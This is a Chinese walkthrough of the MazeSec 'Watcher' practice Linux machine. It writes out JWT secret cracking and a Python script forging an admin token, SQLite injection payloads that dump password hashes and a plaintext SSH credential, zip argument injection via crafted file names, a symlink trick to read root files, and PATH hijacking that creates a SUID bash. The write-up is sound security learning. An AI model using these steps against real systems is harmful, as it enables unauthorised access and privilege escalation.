MazeSec Watcher

发布于: 2026-05-23 16:57

靶机信息

靶机名称: Watcher
靶机作者:Yolo
靶机类型:Linux
来源:MazeSec/QQ公开群 321948805
官网:https://maze-sec.com/

流程图

存活主机发现

使用 arp-scan 进行局域网内存活主机扫描,发现目标主机 IP 地址为 192.168.6.181

arp-scan -l

# PCS Systemtechnik GmbH 是一家德国公司,根据 MAC 地址前缀 08:00:27,可以推测该设备可能是使用 VirtualBox 虚拟化软件创建的虚拟机,因为这个 MAC 地址前缀通常与 VirtualBox 相关联。
192.168.6.181   08:00:27:ff:92:3d       PCS Systemtechnik GmbH

端口扫描

对目标主机进行全端口扫描,使用 -sT 进行 TCP 连接扫描。

nmap 192.168.6.181 -p- -sT -n

PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
5000/tcp open  upnp

使用 -sV对已知端口进行版本扫描

nmap 192.168.6.181 -sV -p 5000

PORT     STATE SERVICE VERSION
5000/tcp open  http    Gunicorn

5000 端口运行 web 服务

5000 端口分析

访问 http://192.168.6.181:5000,注册账号后登录

admin 路由仅允许 admin 等级用户访问

在 cookie 信息里有条 jwt ,解密后发现用户等级为 normal

{
    "username": "111",
    "level": "normal",
    "iat": 1779529536,
    "exp": 1779533136
}

使用了 HS256 算法

flask-unsign -d -c 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjExMSIsImxldmVsIjoibm9ybWFsIiwiaWF0IjoxNzc5NTI5NTM2LCJleHAiOjE3Nzk1MzMxMzZ9.Zcz6BW5gw2l3Db1wEQWr8PoO9egVHPnJ2vLn2jfg-_w'
{'alg': 'HS256', 'typ': 'JWT'}

JWT 密钥爆破

尝试 john 指定算法进行暴力破解,使用 rockyou.txt 字典,破解出 secret 为 maze

echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjExMSIsImxldmVsIjoibm9ybWFsIiwiaWF0IjoxNzc5NTI5NTM2LCJleHAiOjE3Nzk1MzMxMzZ9.Zcz6BW5gw2l3Db1wEQWr8PoO9egVHPnJ2vLn2jfg-_w' > token.txt
john token.txt --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt

使用 secret 重新生成 jwt,修改用户等级为 admin

#!/usr/bin/env python3
import jwt
import time

secret = "maze"

# 伪造管理员 token
admin_token = jwt.encode(
    {
        "username": "admin",
        "level": "admin", 
        "iat": int(time.time()),
        "exp": int(time.time()) + 7200  # 2小时
    },
    secret,
    algorithm="HS256"
)

print(admin_token)

使用新生成的 admin token 访问 admin 路由,管理面板修改配置会向 /api/settings/update 发送 POST 请求

发送单引号时,服务器返回 500 错误,其中 unrecognized token:是 SQLite 数据库引擎的错误提示,说明后端使用了 SQLite 数据库,并且存在 SQL 注入漏洞

SQL 注入漏洞利用

猜测后端sql语句

sql = f"UPDATE settings SET value = '{value}' WHERE key = '{key}'"

利用子查询注入提取数据:

// 注入子查询到 value
{"key":"theme","value":"'||(SELECT sql FROM sqlite_master LIMIT 1)||'"}
// 返回 current_value 带着表结构
{"code":200,"current_value":"CREATE TABLE users (...)",...}

原理: 语句变成:

UPDATE settings SET value = ''||(SELECT sql FROM sqlite_master LIMIT 1)||'' WHERE key = 'theme'

SQLite 的 || 是字符串连接符,子查询结果被拼接进 value 字段,然后通过 SELECT value FROM settings WHERE key = 'theme' 读回来返回给客户端

获取所有表

# users,sqlite_sequence,settings,secret
{
    "key": "theme",
    "value": "'||(SELECT group_concat(name, ',') FROM sqlite_master WHERE type='table')||'"
}

获取表结构

{
    "key": "theme",
    "value": "'||(SELECT sql FROM sqlite_master WHERE type='table' AND name='users')||'"
}

建表语句

# user表
CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,     -- 用户ID,自增
    username TEXT UNIQUE NOT NULL,            -- 用户名,唯一
    password TEXT NOT NULL,                   -- 密码
    level TEXT DEFAULT 'normal'               -- 权限等级
)
# settings表
CREATE TABLE settings (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    key TEXT UNIQUE NOT NULL,
    value TEXT NOT NULL,
    description TEXT
)
# secret表
CREATE TABLE secret (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    secret TEXT NOT NULL
);

查询表数据

{
    "key": "theme",
    "value": "'||(SELECT group_concat(username||':'||password||':'||level, ';') FROM users)||'"
}

表数据

# user
admin:02acd98efd5e68a2d9f0cedceb841ff835ea3af09c979be40a26900db75bb7b0:admin;111:bcb15f821479b4d5772bd0ca866c00ad5f926e3580720659cc80d39c9d09802a:normal
# settings
1:theme:admin:02acd98efd5e68a2d9f0cedceb841ff835ea3af09c979be40a26900db75bb7b0:admin;111:bcb15f821479b4d5772bd0ca866c00ad5f926e3580720659cc80d39c9d09802a:normal:系统主题;2:language:zh-CN:系统语言;3:notification:on:通知开关;4:log_level:%3f:日志等级
# secret
1:watcher:mazesec123q1231w!@#!@@#$

拿到 watcher:mazesec123q1231w!@#!@@#$从,尝试登录 ssh,成功登录到服务器

pspy64 监控进程

查看靶机正在运行的服务

systemctl list-units --type=service --state=running

其中 autoarchive.servicewatcher.service 的服务名及描述引起注意

查看 服务内容

systemctl cat autoarchive.service
systemctl cat watcher.service

其中 autoarchive 服务以 root 身份执行一个同步脚本,watcher 服务为刚刚的 web 入口

autoarchive 服务的同步脚本目录无权访问,当前目录下存在任何人可写的 uploads 目录

https://github.com/DominicBreuker/pspy

运行 pspy64 监控进程,可以看到 root 用户在监控 /home/watcher/uploads 目录,执行了 inotifywait 命令监控文件创建事件,并且执行了 /opt/autoarchive/sync.sh 脚本,具体内容未知

2026/05/23 09:26:55 CMD: UID=0     PID=393    | /bin/bash /opt/autoarchive/sync.sh
2026/05/23 09:26:55 CMD: UID=0     PID=392    | inotifywait -m -e create /home/watcher/uploads
2026/05/23 09:26:55 CMD: UID=33    PID=385    | /usr/bin/python3 -m gunicorn -b 0.0.0.0:5000 app:app
2026/05/23 09:26:55 CMD: UID=0     PID=382    | /bin/bash /opt/autoarchive/sync.sh

开启新终端,尝试在一个终端中进行创建文件的操作,观测 pspy 的输出

在创建 a.txt 文件时,触发了 inotifywait 的监控,执行了 sync.sh 脚本,再删除 a.txt 并再次重建时,发现会执行 zip 命令压缩 a.txt 文件

创建多个 txt 文件时,会执行 zip 命令压缩多个 txt 文件,猜测使用了通配符,尝试创建文件名为 zip 命令参数的 txt 文件,观察脚本行为

rm -rf ./*
touch a.txt
touch ' a -O out a.txt'

成功控制了 zip 命令的参数,当前目录存在 -O 参数指定的压缩包文件名 out.zip,说明将同步文件打包输出到了当前目录,也说明 sync.sh 脚本中可能存在 cd /home/watcher/uploads 的操作

任意文件读取

通过软链接的方式,创建一个指向 /root/root.txt 的链接文件,触发 sync.sh 脚本执行 zip 命令压缩该链接文件,zip 命令默认会跟随链接读取文件内容并压缩到 out.zip 中,下载 out.zip 解压后即可拿到 flag

rm -rf ./*
ln -s /root/root.txt flag
touch ' a -O out flag a.txt'

PATH劫持提权

当前已经有了任意文件读取的能力,尝试读取 sync.sh 脚本内容

rm -rf ./*
ln -s /opt/autoarchive/sync.sh sync
touch ' a -O out sync a.txt'

同步脚本内容:

#!/bin/bash

WATCH_DIR="/home/watcher/uploads"
HELPER_PATH="${AUTOARCHIVE_HELPER:-/usr/local/bin/archive-helper}"

mkdir -p /root/backups

inotifywait -m -e create "$WATCH_DIR" |
while read -r path action file
do
    case "$file" in
        *.txt)
            sleep 3
            cd "$WATCH_DIR" || exit 1
            export PATH="$WATCH_DIR:$PATH"

            # Archive all .txt files after each new .txt file event.
            "$HELPER_PATH" *.txt >> /var/log/autosync.log 2>&1
            ;;
    esac
done

可以看到脚本中存在 PATH 环境变量注入漏洞,export PATH="$WATCH_DIR:$PATH" 将当前目录加入了 PATH 环境变量的最前面,导致后续执行的 archive-helper 命令会优先在当前目录下寻找可执行文件

在导入环境变量后,脚本会在新建文件时执行 sleep 命令,在当前目录下创建一个同名的 sleep 可执行文件,触发脚本执行时会优先执行当前目录下的 sleep 文件

rm -rf ./*
echo 'cp /bin/bash /var/tmp/bash;chmod +s /var/tmp/bash' > sleep
chmod +x sleep
touch a.txt